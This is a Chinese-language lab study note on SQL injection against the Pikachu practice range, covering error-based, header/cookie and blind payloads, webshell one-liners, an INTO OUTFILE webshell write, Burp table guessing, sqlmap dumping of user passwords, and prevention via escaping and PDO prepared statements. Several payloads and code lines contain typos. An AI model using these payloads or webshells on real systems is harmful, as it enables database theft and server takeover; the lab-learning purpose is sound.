Cyber Security-Day22(靶场练习之SQL注入)
漏洞之王SQL注入,
数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击着可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。
0x01:SQL Inject漏洞攻击流程
第一步:注入点探测
1自动方式:使用web漏洞扫描工具,自动进行注入点发现手动方式:手工构造sql inject测试语句进行注入点发现
第二步:信息获取 通过注入点取期望得到的数据。 1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等。 2.数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)
第三步:获取权限 获取操作系统权限:通过数据库执行shell,上传木马
·数字型user-id=$id
·字符型 user_id='id' ·搜索型 text IKE%"%(_GET['search'])%"
使用union查询,可以先使用order by查出几列,然后再返回数据
在mysql中,自带的information_schema这个表里面存放了大量的重要信息。具体如下: 如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。 比如: SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。 TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。 COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
0x02:·常用的报错函数updatexml()、extractvalue()、floor()
updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
|语法:UPDATEXML(xml_document,XPathstring,new_value) 第一个参数:fiedname是String格式,为表中的字段名。
第二个参数:XPathstring(Xpath格式的字符串)。 第三个参数:new_value,String格式,替换查找到的符合条件的Xpath定位必须是有效的,否则则会发生错误
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。 floor():MYSQL中用来取整的函数。
·基于函数报错的信息获取(select/insert/update/delete)
kobe' and updaexml(1,concat(0x7e,database()),0)#
黑体字可以更改函数
-- 获取数据库名 select * from member where username = 'kobe' and updatexml(1,concat(0x7e,database()),0)#obe' and updatexml(1,version{},0)#
-- 获取表名 select * from member where username = 'kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 3,1)),0)#obe' and updatexml(1,version{},0)#
-- 获取列名 select * from member where username = 'kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1)),0)#obe' and updatexml(1,version{},0)#
-- 获取数据 select * from member where username = 'kobe' and updatexml(1,concat(0x7e,(select username from users limit 1,1)),0)#obe' and updatexml(1,version{},0)#
-- 根据不同的字段详细查找信息 select * from member where username = 'kobe' and updatexml(1,concat(0x7e,(select password from users where username ='admin' limit 0,1)),0)#obe' and updatexml(1,version{},0)# kobe' and updaexml(1,concat(0x7e,database()),0)#
不过一般都是base64或者md5或者sha256加密这有库或者好用的工具收录的话都可以破解,不过我发现报错爆出来的密码和数据库真实的差一点,前面是~,后面少一位,明白什么情况的小伙伴欢迎留下答案~
0x03:什么Http Header注入
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。 A会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL Inject漏洞。
payload:
firefox'or updatexml(1, concat(0x7e,database()),0)or '
基于http header:
Cookie同理
Cookie:ant[uname]=admin' and updatexml(1,concat(0x7e,database()),0)# firefox' or updatexml(1,concat(0x7e,database()),0)or '
0x04:什么是盲注
在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错此时无法在根据报错信息来进行注入的判断。 这种情况下的注入,称为“盲注" 根据表现形式的不同,盲注又分为based boolean和based time两种类型
基于真假:
payload:kobe'and ascii(substr(database(),1,1))=112# (工具的原理)
基于时间:
payload:kobe' and sleep(5)# 如果有响应说明存在sql注入
kobe'and if((substr(database(),1,1))='p',sleep(5),null)#(工具的原理)
0x05:通过sql进行对服务器的远程控制
一句话木马是一种短小而精悍的木马客户端,隐蔽性好,且功能强大。
PHP:<?php@eval($_POSTI'chopper']);?>
ASP:<%eval request("chopper")%>
ASPNET:<%@Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
获取操作系统权限: kobe'union select"<?php @eval($_GET['test')?>",2 into outfile"/var/www/html/1.php"#
kobe'union select"<?php system($_GET['cmd')?>",2 into outfile"/var/www/html/2.php"#
0x06:配合bp进行猜表,猜字段名:
payload:kobe'and exists(select id from aa)#
kobe'and exists(select id from users)#
在intruder里配合字典,就可以看到存在的表
预防sql注入:
·代码层面 1.对输入进行严格的转义和过滤
转义:
function escape(1ink,data){
if(is_string($data){
return mysqli_real_esccape_string($link,$data);
}
if(is_array($data)){
foreach($data as key=>$val){
$data[$key]=escape($1ink,$val);
}
}
return $data;
}
过滤:
str_replace("%","",$_POST['username']),把post里面的数据里面含有%的替换成空 2.使用预处理和参数化(Parameterized)
推荐的做法:使用PDO的prepare预处理(预处理+参数化)
pusername=p_GEl"usernameJ;
password=_GET['password'];
try{
$pdo=new PDO('mysq1:host=localhost;dbname=ant','root','root');
$sql="select*from admin where username=?and passowrd=?";
$stmt=pdo->prepare(sql);//先不传参数,先预处理
//var_dump(stmt);
$stmt->execute(array(username,$password));
//这个时候在把参数传进去,以索引数组的方式传进去,而不是拼接,就成功防止了注入
}catch(PDOException $e){
echo $e->getMessage();
·网路层面 1.通过WAF设备启用防SQL Inject注入策略(或类似防护系统) 2.云端防护(360网站卫士,阿里云盾等)
0x07:sqlmap的使用:
官网安装:
使用 sqlmap.py -u "xxx" -current-db爆出当前库
接着使用sqlmap.py -u "xxx" -D pikachu —tables爆表
接着使用sqlmap.py -u "xxx" -D pikachu -T users —columns爆users表的列
接着使用sqlmap.py -u "xxx" -D pikachu -T users -C username,password —dump爆users表username password的值,还可以把哈希加密的或者md5加密的用sqlmap自带的解密出来,很强,
至于猜测原理就和我们上边讲到的一样了